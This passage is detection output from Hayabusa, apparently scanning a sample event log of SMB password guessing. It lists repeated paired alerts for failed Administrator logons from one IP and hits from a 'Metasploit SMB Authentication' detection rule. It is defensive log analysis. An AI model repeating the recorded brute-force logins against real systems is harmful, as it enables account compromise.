Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.475 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: A4NHVYxxDkCOsQw8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.475 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iPUiW0vFQB405kwS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.524 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.573 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OtcZ4ymkeLHeU7YJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.573 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.620 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZxZCDKWtqkGJ0dnw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.620 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.666 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: f4GGnhttZgmRPRJo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.666 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.716 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gI0j9w45eXEFeex3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.716 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.764 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BVZ2YRDUAOsNgKxo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.764 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.822 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VJfIpxlcwVf7pWga : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.822 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.858 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Oerixd9ODF6fslsC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.858 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.920 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sbJC5yvrIymYgaHY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.920 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.951 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4schZcUP8Im8Ee1e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.951 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.988 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WotargyGlEq9PBch : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:03.988 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.025 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2JSMrPoucOR0nzlD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.025 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.064 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jr4w4uoF2DVZ5n9x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.064 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.104 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v319oZIaOBpuf542 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.104 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.151 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GNRTL9BLlGWMx6dA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.151 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.192 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zHlDIOZ9B5uY8Rzz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.192 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Dr2bvAue8mr5kagX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.248 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.284 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pXBds9GoXr6IZUfp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.284 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.327 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aLYuegjXO18lo342 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.327 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.367 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: To3MMEEvNXKNjKHT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.367 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.416 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: N0HCToTmh3ESGBYt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.416 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.455 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nNvBueVo3ANNmSSN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.455 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.499 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mVWOoAG5ermGL2Gl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.499 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.545 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: W7QYJUNPm5b4jprh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.545 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.590 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PHllwNJvpH3P97cp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.590 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.632 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tfT8GtafHGYMlkMf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.632 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.680 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nab7wtZfBVkcynsa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.680 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.733 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VHiijj7sT9nyqxii : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.733 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.780 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v06kkhqYNOyEHx2c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.780 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.820 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WSTDX16YK5Zgkjxo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.820 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.861 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: u6QWEyTrpndCagP0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.861 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.914 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7iCaXa5SR5IHJnQA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.914 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.956 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DNZhcPd1JaNFZMYG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.956 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LeOIg10KS60QplWz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.000 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.036 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: um3Nwo2doDbKJJvz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.036 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.150 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JuoqbUwc2Nth1xlH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.150 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.199 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WF8zKIbeboTLLkC6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.199 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.237 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kSyKc8igfuYLMekV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.237 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.285 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LHog0TdOci9CCKBa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.285 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.328 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: R5ilFaQlemZUSNun : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.328 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.374 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JOJnv9vFdqr2VSQC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.374 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.421 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rXaoVN7FvJ5rRDUF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.421 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.482 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kaFCT5QYFfmJpEC1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.482 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.547 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kOdVfL4XUTLp60tC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.547 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.597 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wFQSXjz0JTlkwpBu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.597 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.634 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sgAVlnENp6IzRRDr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.634 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 